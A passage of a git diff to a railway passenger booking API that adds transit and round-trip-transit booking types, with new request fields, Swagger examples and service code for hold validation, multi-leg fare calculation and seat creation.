+- passengers[]: { seatId, leg2SeatId, returnSeatId, returnLeg2SeatId, passengerName, … }
+- 4 holds required, 4 seat sets per passenger, single PNR, single payment
+
+**Age-Based Pricing (all types)**
+- ADULT (≥5 years): full fare per leg
+- CHILD (<5 years): first child FREE per booking, subsequent children full fare`
+ })
+ @ApiBody({
+ type: CreateBookingDto,
+ examples: {
+ ONE_WAY: {
+ summary: 'ONE_WAY — single direct journey',
+ value: {
+ passengerId: 'passenger-uuid',
+ scheduleId: 'schedule-uuid',
+ holdId: 'hold-uuid',
+ originStationId: 'station-uuid',
+ destinationStationId: 'station-uuid',
+ seatClassId: 'seat-class-uuid',
+ bookingType: 'ONE_WAY',
+ displayCurrency: 'ETB',
+ passengers: [{
+ seatId: 'seat-uuid',
+ passengerName: 'Abebe Kebede',
+ dateOfBirth: '1990-05-15',
+ idDocumentType: 'NATIONAL_ID',
+ idDocumentNumber: 'ET123456789',
+ nationality: 'Ethiopian',
+ }],
+ },
+ },
+ ROUND_TRIP: {
+ summary: 'ROUND_TRIP — outbound + return, single PNR',
+ value: {
+ passengerId: 'passenger-uuid',
+ scheduleId: 'outbound-schedule-uuid',
+ holdId: 'outbound-hold-uuid',
+ originStationId: 'addis-station-uuid',
+ destinationStationId: 'djibouti-station-uuid',
+ seatClassId: 'seat-class-uuid',
+ bookingType: 'ROUND_TRIP',
+ returnScheduleId: 'return-schedule-uuid',
+ returnHoldId: 'return-hold-uuid',
+ returnOriginStationId: 'djibouti-station-uuid',
+ returnDestinationStationId: 'addis-station-uuid',
+ returnSeatClassId: 'seat-class-uuid',
+ displayCurrency: 'ETB',
+ passengers: [{
+ seatId: 'outbound-seat-uuid',
+ returnSeatId: 'return-seat-uuid',
+ passengerName: 'Abebe Kebede',
+ dateOfBirth: '1990-05-15',
+ idDocumentType: 'NATIONAL_ID',
+ idDocumentNumber: 'ET123456789',
+ nationality: 'Ethiopian',
+ }],
+ },
+ },
+ TRANSIT: {
+ summary: 'TRANSIT — connecting train, single PNR',
+ value: {
+ passengerId: 'passenger-uuid',
+ scheduleId: 'leg1-schedule-uuid',
+ holdId: 'leg1-hold-uuid',
+ originStationId: 'addis-station-uuid',
+ destinationStationId: 'diredawa-station-uuid',
+ seatClassId: 'seat-class-uuid',
+ bookingType: 'TRANSIT',
+ leg2ScheduleId: 'leg2-schedule-uuid',
+ leg2HoldId: 'leg2-hold-uuid',
+ transitStationId: 'diredawa-station-uuid',
+ leg2DestinationStationId: 'djibouti-station-uuid',
+ displayCurrency: 'ETB',
+ passengers: [{
+ seatId: 'leg1-seat-uuid',
+ leg2SeatId: 'leg2-seat-uuid',
+ passengerName: 'Abebe Kebede',
+ dateOfBirth: '1990-05-15',
+ idDocumentType: 'NATIONAL_ID',
+ idDocumentNumber: 'ET123456789',
+ nationality: 'Ethiopian',
+ }],
+ },
+ },
+ ROUND_TRIP_TRANSIT: {
+ summary: 'ROUND_TRIP_TRANSIT — round trip via connecting trains, 4 holds',
+ value: {
+ passengerId: 'passenger-uuid',
+ scheduleId: 'ob-leg1-schedule-uuid',
+ holdId: 'ob-leg1-hold-uuid',
+ originStationId: 'addis-station-uuid',
+ destinationStationId: 'diredawa-station-uuid',
+ seatClassId: 'seat-class-uuid',
+ bookingType: 'ROUND_TRIP_TRANSIT',
+ leg2ScheduleId: 'ob-leg2-schedule-uuid',
+ leg2HoldId: 'ob-leg2-hold-uuid',
+ transitStationId: 'diredawa-station-uuid',
+ leg2DestinationStationId: 'djibouti-station-uuid',
+ returnScheduleId: 'ret-leg1-schedule-uuid',
+ returnHoldId: 'ret-leg1-hold-uuid',
+ returnOriginStationId: 'djibouti-station-uuid',
+ returnDestinationStationId: 'diredawa-station-uuid',
+ returnLeg2ScheduleId: 'ret-leg2-schedule-uuid',
+ returnLeg2HoldId: 'ret-leg2-hold-uuid',
+ returnTransitStationId: 'diredawa-station-uuid',
+ returnLeg2DestinationStationId: 'addis-station-uuid',
+ displayCurrency: 'ETB',
+ passengers: [{
+ seatId: 'ob-leg1-seat-uuid',
+ leg2SeatId: 'ob-leg2-seat-uuid',
+ returnSeatId: 'ret-leg1-seat-uuid',
+ returnLeg2SeatId: 'ret-leg2-seat-uuid',
+ passengerName: 'Abebe Kebede',
+ dateOfBirth: '1990-05-15',
+ idDocumentType: 'NATIONAL_ID',
+ idDocumentNumber: 'ET123456789',
+ nationality: 'Ethiopian',
+ }],
+ },
+ },
+ },
})
@ApiResponse({ status: 201, description: 'Booking created with fare breakdown' })
- @ApiResponse({ status: 400, description: 'Verifayda verification failed or invalid passenger data' })
- @ApiResponse({ status: 404, description: 'Trip or seat hold not found' })
+ @ApiResponse({ status: 400, description: 'Missing required fields for bookingType, or Verifayda verification failed' })
+ @ApiResponse({ status: 404, description: 'Schedule or seat hold not found' })
create(@Body() dto: CreateBookingDto) {
return this.service.create(dto);
}
diff --git a/apps/edr-passenger-api/src/modules/bookings/bookings.dto.ts b/apps/edr-passenger-api/src/modules/bookings/bookings.dto.ts
index 875bf40a2..52603e776 100644
--- a/apps/edr-passenger-api/src/modules/bookings/bookings.dto.ts
+++ b/apps/edr-passenger-api/src/modules/bookings/bookings.dto.ts
@@ -4,7 +4,10 @@ import { ApiProperty, ApiPropertyOptional } from '@nestjs/swagger';
import { Currency, IdDocumentType } from '@prisma/client';
export class PassengerInputDto {
- @ApiProperty() @IsString() seatId: string;
+ @ApiProperty({ example: 'seat-uuid', description: 'Outbound / leg-1 seat ID (all booking types)' }) @IsString() seatId: string;
+ @ApiPropertyOptional({ example: 'leg2-seat-uuid', description: '**TRANSIT / ROUND_TRIP_TRANSIT:** Outbound leg-2 seat ID' }) @IsOptional() @IsString() leg2SeatId?: string;
+ @ApiPropertyOptional({ example: 'return-seat-uuid', description: '**ROUND_TRIP / ROUND_TRIP_TRANSIT:** Return leg-1 seat ID' }) @IsOptional() @IsString() returnSeatId?: string;
+ @ApiPropertyOptional({ example: 'ret-leg2-seat-uuid', description: '**ROUND_TRIP_TRANSIT:** Return leg-2 seat ID' }) @IsOptional() @IsString() returnLeg2SeatId?: string;
@ApiProperty({ example: 'Abebe Kebede' }) @IsString() passengerName: string;
@ApiProperty({ example: '1990-05-15', description: 'Date of birth (YYYY-MM-DD) for age calculation. Age <5 = CHILD (first free), Age ≥5 = ADULT (full fare)' }) @IsDateString() dateOfBirth: string;
@ApiProperty({ example: 'NATIONAL_ID', enum: IdDocumentType, description: 'NATIONAL_ID for Ethiopians (Verifayda verified), PASSPORT for others' }) @IsEnum(IdDocumentType) idDocumentType: IdDocumentType;
@@ -15,17 +18,17 @@ export class PassengerInputDto {
}
export class RoundTripPassengerDto {
- @ApiProperty({
- description: 'Outbound journey seat ID',
- example: 'seat-uuid-outbound'
- })
+ @ApiProperty({ description: 'Outbound journey seat ID', example: 'seat-uuid-outbound' })
@IsString() outboundSeatId: string;
- @ApiProperty({
- description: 'Return journey seat ID',
- example: 'seat-uuid-return'
- })
+ @ApiProperty({ description: 'Return journey seat ID', example: 'seat-uuid-return' })
@IsString() returnSeatId: string;
+
+ @ApiPropertyOptional({ description: '**ROUND_TRIP_TRANSIT:** Outbound leg-2 seat ID' })
+ @IsOptional() @IsString() outboundLeg2SeatId?: string;
+
+ @ApiPropertyOptional({ description: '**ROUND_TRIP_TRANSIT:** Return leg-2 seat ID' })
+ @IsOptional() @IsString() returnLeg2SeatId?: string;
@ApiProperty({
example: 'Abebe Kebede',
@@ -75,16 +78,16 @@ export class CreateBookingDto {
@ApiProperty({ description: 'Passenger ID' })
@IsString() passengerId: string;
- @ApiProperty({ description: 'Outbound schedule ID' })
+ @ApiProperty({ description: 'Outbound / leg-1 schedule ID' })
@IsString() scheduleId: string;
- @ApiProperty({ description: 'Outbound seat hold ID' })
+ @ApiProperty({ description: 'Outbound / leg-1 seat hold ID' })
@IsString() holdId: string;
- @ApiProperty({ example: 'station-uuid', description: 'Outbound origin station UUID (must match the hold)' })
+ @ApiProperty({ example: 'station-uuid', description: 'Outbound origin station UUID' })
@IsString() originStationId: string;
- @ApiProperty({ example: 'station-uuid', description: 'Outbound destination station UUID (must match the hold)' })
+ @ApiProperty({ example: 'station-uuid', description: 'Outbound destination station UUID' })
@IsString() destinationStationId: string;
@ApiProperty({ example: 'seat-class-uuid', description: 'Outbound seat class UUID (Economy Regular, Economy Bed, VIP Bed)' })
@@ -92,15 +95,33 @@ export class CreateBookingDto {
@ApiProperty({
example: 'ONE_WAY',
- enum: ['ONE_WAY', 'ROUND_TRIP'],
- description: `Booking type:\n\n**ONE_WAY:**\n- Single journey from origin to destination\n- Uses: scheduleId, holdId, originStationId, destinationStationId, seatClassId\n- passengers: PassengerInputDto[] with seatId\n\n**ROUND_TRIP:**\n- Outbound + return journey with single PNR\n- Uses all outbound fields PLUS return fields\n- passengers: RoundTripPassengerDto[] with outboundSeatId and returnSeatId\n- Combined fare calculation with single payment`,
+ enum: ['ONE_WAY', 'ROUND_TRIP', 'TRANSIT', 'ROUND_TRIP_TRANSIT'],
+ description: `Booking type:
+
+**ONE_WAY:** Single direct journey — needs: scheduleId, holdId. Passenger: seatId.
+
+**ROUND_TRIP:** Outbound + return, single PNR — needs above + returnScheduleId, returnHoldId, returnOriginStationId, returnDestinationStationId. Passenger: seatId + returnSeatId.
+
+**TRANSIT:** Single journey via connecting train, single PNR — needs above + leg2ScheduleId, leg2HoldId, transitStationId, leg2DestinationStationId. Passenger: seatId + leg2SeatId.
+
+**ROUND_TRIP_TRANSIT:** Round trip via connecting trains — needs all 4 hold sets + all station fields. Passenger: seatId + leg2SeatId + returnSeatId + returnLeg2SeatId.`,
default: 'ONE_WAY'
})
@IsOptional() @IsString() bookingType?: string;
@ApiProperty({
type: [PassengerInputDto],
- description: `Passenger array - type depends on bookingType:\n\n**For ONE_WAY:** PassengerInputDto[]\n- Each passenger has: seatId, passengerName, dateOfBirth, etc.\n\n**For ROUND_TRIP:** RoundTripPassengerDto[]\n- Each passenger has: outboundSeatId, returnSeatId, passengerName, dateOfBirth, etc.\n\n**Age-based pricing:** First child (<5 years) travels FREE, subsequent children pay full fare`
+ description: `Passenger array — required seat fields vary by bookingType:
+
+**ONE_WAY:** { seatId, passengerName, dateOfBirth, idDocumentType, … }
+
+**ROUND_TRIP:** { seatId (outbound leg-1), returnSeatId (return leg-1), passengerName, … }
+
+**TRANSIT:** { seatId (leg-1), leg2SeatId (leg-2), passengerName, … }
+
+**ROUND_TRIP_TRANSIT:** { seatId, leg2SeatId, returnSeatId, returnLeg2SeatId, passengerName, … }
+
+**Age-based pricing:** First child (<5 years) travels FREE, subsequent children pay full fare.`
})
@IsArray() @ValidateNested({ each: true }) @Type(() => PassengerInputDto)
passengers: PassengerInputDto[];
@@ -114,31 +135,52 @@ export class CreateBookingDto {
@ApiPropertyOptional({ example: 'DJF', enum: Currency, description: 'Display currency for fare breakdown (ETB, DJF, USD). Transaction always in ETB.' })
@IsOptional() @IsEnum(Currency) displayCurrency?: Currency;
- // Round-trip specific fields
- @ApiPropertyOptional({
- description: '**ROUND_TRIP ONLY:** Return schedule ID (required when bookingType=ROUND_TRIP)'
- })
+ // Transit-specific fields
+ @ApiPropertyOptional({ description: '**TRANSIT / ROUND_TRIP_TRANSIT:** Leg-2 schedule ID' })
+ @IsOptional() @IsString() leg2ScheduleId?: string;
+
+ @ApiPropertyOptional({ description: '**TRANSIT / ROUND_TRIP_TRANSIT:** Leg-2 seat hold ID' })
+ @IsOptional() @IsString() leg2HoldId?: string;
+
+ @ApiPropertyOptional({ description: '**TRANSIT / ROUND_TRIP_TRANSIT:** Transit (connecting) station UUID' })
+ @IsOptional() @IsString() transitStationId?: string;
+
+ @ApiPropertyOptional({ description: '**TRANSIT / ROUND_TRIP_TRANSIT:** Leg-2 destination station UUID' })
+ @IsOptional() @IsString() leg2DestinationStationId?: string;
+
+ @ApiPropertyOptional({ description: '**TRANSIT / ROUND_TRIP_TRANSIT:** Leg-2 seat class ID (defaults to outbound seatClassId)' })
+ @IsOptional() @IsString() leg2SeatClassId?: string;
+
+ // Round-trip transit: return direction transit fields
+ @ApiPropertyOptional({ description: '**ROUND_TRIP_TRANSIT:** Return leg-1 schedule ID' })
@IsOptional() @IsString() returnScheduleId?: string;
-
- @ApiPropertyOptional({
- description: '**ROUND_TRIP ONLY:** Return origin station ID (usually same as outbound destination)'
- })
+
+ @ApiPropertyOptional({ description: '**ROUND_TRIP / ROUND_TRIP_TRANSIT:** Return origin station ID' })
@IsOptional() @IsString() returnOriginStationId?: string;
-
- @ApiPropertyOptional({
- description: '**ROUND_TRIP ONLY:** Return destination station ID (usually same as outbound origin)'
- })
+
+ @ApiPropertyOptional({ description: '**ROUND_TRIP / ROUND_TRIP_TRANSIT:** Return destination station ID' })
@IsOptional() @IsString() returnDestinationStationId?: string;
-
- @ApiPropertyOptional({
- description: '**ROUND_TRIP ONLY:** Return seat hold ID (required when bookingType=ROUND_TRIP)'
- })
+
+ @ApiPropertyOptional({ description: '**ROUND_TRIP / ROUND_TRIP_TRANSIT:** Return seat hold ID' })
@IsOptional() @IsString() returnHoldId?: string;
-
- @ApiPropertyOptional({
- description: '**ROUND_TRIP ONLY:** Return seat class ID (optional, defaults to outbound seatClassId if not provided)'
- })
+
+ @ApiPropertyOptional({ description: '**ROUND_TRIP / ROUND_TRIP_TRANSIT:** Return seat class ID' })
@IsOptional() @IsString() returnSeatClassId?: string;
+
+ @ApiPropertyOptional({ description: '**ROUND_TRIP_TRANSIT:** Return leg-2 schedule ID' })
+ @IsOptional() @IsString() returnLeg2ScheduleId?: string;
+
+ @ApiPropertyOptional({ description: '**ROUND_TRIP_TRANSIT:** Return leg-2 seat hold ID' })
+ @IsOptional() @IsString() returnLeg2HoldId?: string;
+
+ @ApiPropertyOptional({ description: '**ROUND_TRIP_TRANSIT:** Return transit (connecting) station UUID' })
+ @IsOptional() @IsString() returnTransitStationId?: string;
+
+ @ApiPropertyOptional({ description: '**ROUND_TRIP_TRANSIT:** Return leg-2 destination station UUID' })
+ @IsOptional() @IsString() returnLeg2DestinationStationId?: string;
+
+ @ApiPropertyOptional({ description: '**ROUND_TRIP_TRANSIT:** Return leg-2 seat class ID' })
+ @IsOptional() @IsString() returnLeg2SeatClassId?: string;
}
export class ModifyBookingDto {
diff --git a/apps/edr-passenger-api/src/modules/bookings/bookings.module.ts b/apps/edr-passenger-api/src/modules/bookings/bookings.module.ts
index a588e7330..bce07b915 100644
--- a/apps/edr-passenger-api/src/modules/bookings/bookings.module.ts
+++ b/apps/edr-passenger-api/src/modules/bookings/bookings.module.ts
@@ -7,9 +7,10 @@ import { GuestBookingService } from './guest-booking.service';
import { SeatsModule } from '../seats/seats.module';
import { VerifaydaModule } from '../verifayda/verifayda.module';
import { CurrencyModule } from '../currency/currency.module';
+import { FareEngineModule } from '../fare-engine/fare-engine.module';
@Module({
- imports: [AuditModule, SeatsModule, VerifaydaModule, CurrencyModule, HttpModule],
+ imports: [AuditModule, SeatsModule, VerifaydaModule, CurrencyModule, FareEngineModule, HttpModule],
controllers: [BookingsController],
providers: [BookingsService, GuestBookingService],
exports: [BookingsService, GuestBookingService]
diff --git a/apps/edr-passenger-api/src/modules/bookings/bookings.service.ts b/apps/edr-passenger-api/src/modules/bookings/bookings.service.ts
index 7a52f8422..44a31c151 100644
--- a/apps/edr-passenger-api/src/modules/bookings/bookings.service.ts
+++ b/apps/edr-passenger-api/src/modules/bookings/bookings.service.ts
@@ -6,6 +6,7 @@ import { CreateBookingDto, ModifyBookingDto } from './bookings.dto';
import { Cron, CronExpression } from '@nestjs/schedule';
import { VerifaydaService } from '../verifayda/verifayda.service';
import { CurrencyService } from '../currency/currency.service';
+import { FareEngineService } from '../fare-engine/fare-engine.service';
import { Currency, PassengerCategory, IdDocumentType } from '@prisma/client';
function generateRef(): string {
@@ -24,6 +25,7 @@ function calculateAge(dateOfBirth: Date): number {
interface BookingFilters {
search?: string;
status?: string;
+ returnLegStatus?: string;
page?: number;
pageSize?: number;
}
@@ -36,6 +38,7 @@ export class BookingsService {
private eventEmitter: EventEmitter2,
private verifaydaService: VerifaydaService,
private currencyService: CurrencyService,
+ private fareEngine: FareEngineService,
) {}
async findByPassengerId(passengerId: string, filters: BookingFilters = {}) {
@@ -82,6 +85,8 @@ export class BookingsService {
displayTotalMinor: booking.displayTotalMinor,
adultCount: booking.adultCount,
childCount: booking.childCount,
+ bookingType: booking.bookingType,
+ returnLegStatus: (booking as any).returnLegStatus ?? null,
createdAt: booking.createdAt,
schedule: {
train: booking.schedule.train,
@@ -159,6 +164,8 @@ export class BookingsService {
displayTotalMinor: booking.displayTotalMinor,
adultCount: booking.adultCount,
childCount: booking.childCount,
+ bookingType: booking.bookingType,
+ returnLegStatus: (booking as any).returnLegStatus ?? null,
createdAt: booking.createdAt,
schedule: {
train: booking.schedule.train,
@@ -180,7 +187,7 @@ export class BookingsService {
}
async findAll(filters: BookingFilters = {}) {
- const { search, status, page = 1, pageSize = 20 } = filters;
+ const { search, status, returnLegStatus, page = 1, pageSize = 20 } = filters;
const skip = (page - 1) * pageSize;
const where: any = {};
@@ -194,9 +201,8 @@ export class BookingsService {
];
}
- if (status) {
- where.status = status;
- }
+ if (status) where.status = status;
+ if (returnLegStatus) (where as any).returnLegStatus = returnLegStatus;
const [items, total] = await Promise.all([
this.prisma.booking.findMany({
@@ -225,6 +231,10 @@ export class BookingsService {
displayTotalMinor: booking.displayTotalMinor,
contactEmail: booking.contactEmail,
contactPhone: booking.contactPhone,
+ bookingType: booking.bookingType,
+ returnLegStatus: (booking as any).returnLegStatus ?? null,
+ adultCount: booking.adultCount,
+ childCount: booking.childCount,
createdAt: booking.createdAt,
passenger: booking.passenger?.user,
schedule: {
@@ -246,9 +256,9 @@ export class BookingsService {
}
async create(dto: CreateBookingDto) {
- if (dto.bookingType === 'ROUND_TRIP') {
- return this.createRoundTripBooking(dto);
- }
+ if (dto.bookingType === 'ROUND_TRIP') return this.createRoundTripBooking(dto);
+ if (dto.bookingType === 'TRANSIT') return this.createTransitBooking(dto);
+ if (dto.bookingType === 'ROUND_TRIP_TRANSIT') return this.createRoundTripTransitBooking(dto);
return this.createOneWayBooking(dto);
}
@@ -391,22 +401,42 @@ export class BookingsService {
returnDestinationStationId: dto.returnDestinationStationId,
returnHoldId: dto.returnHoldId,
returnSeatClassId: dto.returnSeatClassId,
+ returnLegStatus: 'NEITHER_USED',
seats: {
- create: passengersData.map(p => ({
- seat: { connect: { id: p.outboundSeatId } },
- passengerName: p.passengerName,
- dateOfBirth: p.dateOfBirth,
- passengerCategory: p.category,
- idDocumentType: p.idDocumentType,
- passportNumber: p.passportNumber,
- passportCountry: p.passportCountry,
- verifaydaVerified: p.verifaydaVerified,
- verifaydaData: p.verifaydaData,
- fareMinor: p.category === PassengerCategory.ADULT ? (outboundFare.baseFareMinor + returnFare.baseFareMinor) : 0,
- displayCurrency
- }))
- }
- },
+ create: [
+ ...passengersData.map(p => ({
+ seat: { connect: { id: p.outboundSeatId } },
+ leg: 1,
+ scheduleId: dto.scheduleId,
+ passengerName: p.passengerName,
+ dateOfBirth: p.dateOfBirth,
+ passengerCategory: p.category,
+ idDocumentType: p.idDocumentType,
+ passportNumber: p.passportNumber,
+ passportCountry: p.passportCountry,
+ verifaydaVerified: p.verifaydaVerified,
+ verifaydaData: p.verifaydaData,
+ fareMinor: p.category === PassengerCategory.ADULT ? outboundFare.baseFareMinor : (outboundFare.paidChildrenCount > 0 ? outboundFare.baseFareMinor : 0),
+ displayCurrency,
+ })),
+ ...passengersData.map(p => ({
+ seat: { connect: { id: p.returnSeatId } },
+ leg: 2,
+ scheduleId: dto.returnScheduleId,
+ passengerName: p.passengerName,
+ dateOfBirth: p.dateOfBirth,
+ passengerCategory: p.category,
+ idDocumentType: p.idDocumentType,
+ passportNumber: p.passportNumber,
+ passportCountry: p.passportCountry,
+ verifaydaVerified: p.verifaydaVerified,
+ verifaydaData: p.verifaydaData,
+ fareMinor: p.category === PassengerCategory.ADULT ? returnFare.baseFareMinor : (returnFare.paidChildrenCount > 0 ? returnFare.baseFareMinor : 0),
+ displayCurrency,
+ })),
+ ],
+ },
+ } as any,
include: { seats: { include: { seat: true } }, schedule: { include: { originStation: true, destinationStation: true, train: true } } }
});
@@ -436,6 +466,302 @@ export class BookingsService {
};
}
+ private async createTransitBooking(dto: CreateBookingDto) {
+ if (!dto.leg2ScheduleId || !dto.leg2HoldId || !dto.transitStationId || !dto.leg2DestinationStationId) {
+ throw new BadRequestException('leg2ScheduleId, leg2HoldId, transitStationId and leg2DestinationStationId are required for TRANSIT bookings');
+ }
+
+ const [leg1Hold, leg2Hold] = await Promise.all([
+ this.prisma.seatHold.findUnique({ where: { id: dto.holdId } }),
+ this.prisma.seatHold.findUnique({ where: { id: dto.leg2HoldId } }),
+ ]);
+ if (!leg1Hold || leg1Hold.expiresAt < new Date()) throw new BadRequestException('Leg-1 seat hold expired');
+ if (!leg2Hold || leg2Hold.expiresAt < new Date()) throw new BadRequestException('Leg-2 seat hold expired');
+
+ const [leg1Schedule, leg2Schedule] = await Promise.all([
+ this.prisma.trainSchedule.findUnique({
+ where: { id: dto.scheduleId },
+ include: { originStation: true, destinationStation: true, stopTimes: { include: { station: true }, orderBy: { sequence: 'asc' } } },
+ }),
+ this.prisma.trainSchedule.findUnique({
+ where: { id: dto.leg2ScheduleId },
+ include: { originStation: true, destinationStation: true, stopTimes: { include: { station: true }, orderBy: { sequence: 'asc' } } },
+ }),
+ ]);
+ if (!leg1Schedule) throw new NotFoundException('Leg-1 schedule not found');
+ if (!leg2Schedule) throw new NotFoundException('Leg-2 schedule not found');
+
+ const leg1OriginStop = leg1Schedule.stopTimes.find(s => s.stationId === dto.originStationId);
+ const leg1DestStop = leg1Schedule.stopTimes.find(s => s.stationId === dto.transitStationId);
+ const leg2OriginStop = leg2Schedule.stopTimes.find(s => s.stationId === dto.transitStationId);
+ const leg2DestStop = leg2Schedule.stopTimes.find(s => s.stationId === dto.leg2DestinationStationId);
+ if (!leg1OriginStop || !leg1DestStop) throw new NotFoundException('Leg-1 origin or transit station not found on schedule');
+ if (!leg2OriginStop || !leg2DestStop) throw new NotFoundException('Transit or leg-2 destination station not found on leg-2 schedule');
+
+ const passengersData = await this.processPassengers(dto.passengers as any[]);
+ const { adultCount, childCount } = this.countPassengers(passengersData);
+
+ const leg2SeatClassId = dto.leg2SeatClassId ?? dto.seatClassId;
+ const [leg1Fare, leg2Fare] = await Promise.all([
+ this.calculateFare(dto.scheduleId, dto.seatClassId, leg1OriginStop, leg1DestStop, passengersData[0]?.nationality, adultCount, childCount),
+ this.calculateFare(dto.leg2ScheduleId, leg2SeatClassId, leg2OriginStop, leg2DestStop, passengersData[0]?.nationality, adultCount, childCount),
+ ]);
+
+ const combinedBase = leg1Fare.totalBaseFareMinor + leg2Fare.totalBaseFareMinor;
+ let discountMinor = 0;
+ if (dto.promoCode) {
+ const promo = await this.prisma.promotion.findUnique({ where: { code: dto.promoCode } });
+ if (promo?.active && promo.validUntil > new Date()) {
+ discountMinor = promo.percentOff ? Math.round(combinedBase * promo.percentOff / 100) : (promo.amountOffMinor ?? 0);
+ }
+ }
+ const loyaltyMinor = (dto.loyaltyRedemptionPoints ?? 0) * 10;
+ const taxesMinor = Math.round(combinedBase * 0.05);
+ const totalMinor = Math.max(0, combinedBase - discountMinor - loyaltyMinor + taxesMinor);
+ const displayCurrency = dto.displayCurrency || Currency.ETB;
+ const displayTotalMinor = displayCurrency !== Currency.ETB
+ ? await this.currencyService.convertAmount(totalMinor, Currency.ETB, displayCurrency)
+ : totalMinor;
+
+ // Single booking — leg-1 seats at leg=1, leg-2 seats at leg=2
+ const booking = await this.prisma.booking.create({
+ data: {
+ bookingRef: generateRef(),
+ passengerId: dto.passengerId,
+ scheduleId: dto.scheduleId,
+ status: 'PENDING_PAYMENT',
+ bookingType: 'TRANSIT',
+ totalMinor,
+ adultCount,
+ childCount,
+ displayCurrency,
+ displayTotalMinor,
+ leg2ScheduleId: dto.leg2ScheduleId,
+ leg2OriginStationId: dto.transitStationId,
+ leg2DestinationStationId: dto.leg2DestinationStationId,
+ leg2SeatClassId,
+ seats: {
+ create: [
+ ...passengersData.map(p => ({
+ seat: { connect: { id: p.seatId } },
+ leg: 1,
+ scheduleId: dto.scheduleId,
+ passengerName: p.passengerName,
+ dateOfBirth: p.dateOfBirth,
+ passengerCategory: p.category,
+ idDocumentType: p.idDocumentType,
+ passportNumber: p.passportNumber,
+ passportCountry: p.passportCountry,
+ verifaydaVerified: p.verifaydaVerified,
+ verifaydaData: p.verifaydaData,
+ fareMinor: p.category === PassengerCategory.ADULT ? leg1Fare.baseFareMinor : (leg1Fare.paidChildrenCount > 0 ? leg1Fare.baseFareMinor : 0),
+ displayCurrency,
+ })),
+ ...passengersData.map(p => ({
+ seat: { connect: { id: p.leg2SeatId ?? p.seatId } },
+ leg: 2,
+ scheduleId: dto.leg2ScheduleId,
+ passengerName: p.passengerName,
+ dateOfBirth: p.dateOfBirth,
+ passengerCategory: p.category,
+ idDocumentType: p.idDocumentType,
+ passportNumber: p.passportNumber,
+ passportCountry: p.passportCountry,
+ verifaydaVerified: p.verifaydaVerified,
+ verifaydaData: p.verifaydaData,
+ fareMinor: p.category === PassengerCategory.ADULT ? leg2Fare.baseFareMinor : (leg2Fare.paidChildrenCount > 0 ? leg2Fare.baseFareMinor : 0),
+ displayCurrency,
+ })),
+ ],
+ },
+ } as any,
+ include: { seats: { include: { seat: true } }, schedule: { include: { originStation: true, destinationStation: true, train: true } } },
+ });
+
+ await Promise.all([
+ this.seatsService.confirmSeats(passengersData.map(p => p.seatId)),
+ this.seatsService.confirmSeats(passengersData.map(p => p.leg2SeatId ?? p.seatId)),
+ ]);
+ this.eventEmitter.emit('booking.created', { booking });
+
+ return {
+ ...booking,
+ fareBreakdown: {
+ leg1BaseFareMinor: leg1Fare.baseFareMinor,
+ leg2BaseFareMinor: leg2Fare.baseFareMinor,
+ adultCount, childCount,
+ freeChildrenCount: Math.min(childCount, 1),
+ paidChildrenCount: leg1Fare.paidChildrenCount,
+ combinedBaseFareMinor: combinedBase,
+ discountMinor, loyaltyRedemptionMinor: loyaltyMinor,
+ taxesFeesMinor: taxesMinor, totalMinor,
+ currency: 'ETB', displayCurrency, displayTotalMinor,
+ },
+ };
+ }
+
+ private async createRoundTripTransitBooking(dto: CreateBookingDto) {
+ if (!dto.leg2ScheduleId || !dto.leg2HoldId || !dto.transitStationId || !dto.leg2DestinationStationId ||
+ !dto.returnScheduleId || !dto.returnHoldId || !dto.returnOriginStationId || !dto.returnDestinationStationId ||
+ !dto.returnLeg2ScheduleId || !dto.returnLeg2HoldId || !dto.returnTransitStationId || !dto.returnLeg2DestinationStationId) {
+ throw new BadRequestException(
+ 'ROUND_TRIP_TRANSIT requires outbound transit fields (leg2ScheduleId, leg2HoldId, transitStationId, leg2DestinationStationId) ' +
+ 'AND return transit fields (returnScheduleId, returnHoldId, returnOriginStationId, returnDestinationStationId, ' +
+ 'returnLeg2ScheduleId, returnLeg2HoldId, returnTransitStationId, returnLeg2DestinationStationId)',
+ );
+ }
+
+ // Validate all 4 holds
+ const [obL1Hold, obL2Hold, retL1Hold, retL2Hold] = await Promise.all([
+ this.prisma.seatHold.findUnique({ where: { id: dto.holdId } }),
+ this.prisma.seatHold.findUnique({ where: { id: dto.leg2HoldId } }),
+ this.prisma.seatHold.findUnique({ where: { id: dto.returnHoldId } }),
+ this.prisma.seatHold.findUnique({ where: { id: dto.returnLeg2HoldId } }),
+ ]);
+ const now = new Date();
+ if (!obL1Hold || obL1Hold.expiresAt < now) throw new BadRequestException('Outbound leg-1 seat hold expired');
+ if (!obL2Hold || obL2Hold.expiresAt < now) throw new BadRequestException('Outbound leg-2 seat hold expired');
+ if (!retL1Hold || retL1Hold.expiresAt < now) throw new BadRequestException('Return leg-1 seat hold expired');
+ if (!retL2Hold || retL2Hold.expiresAt < now) throw new BadRequestException('Return leg-2 seat hold expired');
+
+ // Load all 4 schedules
+ const [obL1Sched, obL2Sched, retL1Sched, retL2Sched] = await Promise.all([
+ this.prisma.trainSchedule.findUnique({ where: { id: dto.scheduleId }, include: { originStation: true, destinationStation: true, stopTimes: { include: { station: true }, orderBy: { sequence: 'asc' } } } }),
+ this.prisma.trainSchedule.findUnique({ where: { id: dto.leg2ScheduleId }, include: { originStation: true, destinationStation: true, stopTimes: { include: { station: true }, orderBy: { sequence: 'asc' } } } }),
+ this.prisma.trainSchedule.findUnique({ where: { id: dto.returnScheduleId }, include: { originStation: true, destinationStation: true, stopTimes: { include: { station: true }, orderBy: { sequence: 'asc' } } } }),
+ this.prisma.trainSchedule.findUnique({ where: { id: dto.returnLeg2ScheduleId }, include: { originStation: true, destinationStation: true, stopTimes: { include: { station: true }, orderBy: { sequence: 'asc' } } } }),
+ ]);
+ if (!obL1Sched) throw new NotFoundException('Outbound leg-1 schedule not found');
+ if (!obL2Sched) throw new NotFoundException('Outbound leg-2 schedule not found');
+ if (!retL1Sched) throw new NotFoundException('Return leg-1 schedule not found');
+ if (!retL2Sched) throw new NotFoundException('Return leg-2 schedule not found');
+
+ const obL1Origin = obL1Sched.stopTimes.find(s => s.stationId === dto.originStationId);
+ const obL1Dest = obL1Sched.stopTimes.find(s => s.stationId === dto.transitStationId);
+ const obL2Origin = obL2Sched.stopTimes.find(s => s.stationId === dto.transitStationId);
+ const obL2Dest = obL2Sched.stopTimes.find(s => s.stationId === dto.leg2DestinationStationId);
+ const retL1Origin = retL1Sched.stopTimes.find(s => s.stationId === dto.returnOriginStationId);
+ const retL1Dest = retL1Sched.stopTimes.find(s => s.stationId === dto.returnTransitStationId);
